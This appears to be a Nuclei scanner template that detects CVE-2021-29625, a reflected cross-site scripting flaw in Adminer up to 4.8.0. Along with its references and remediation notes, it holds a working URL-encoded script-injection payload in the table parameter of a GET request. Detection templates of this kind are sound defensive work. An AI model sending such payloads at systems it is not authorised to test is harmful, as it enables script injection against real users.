id: CVE-2021-29625 info: name: Adminer <=4.8.0 - Cross-Site Scripting author: daffainfo severity: medium description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). reference: - https://sourceforge.net/p/adminer/bugs-and-features/797/ - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7 - https://nvd.nist.gov/vuln/detail/CVE-2021-29625 remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-29625 cwe-id: CWE-79 tags: cve,cve2021,adminer,xss requests: - method: GET path: - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word words: - "" part: body - type: word words: - "text/html" part: header - type: status status: - 200 # Enhanced by mp on 2022/08/28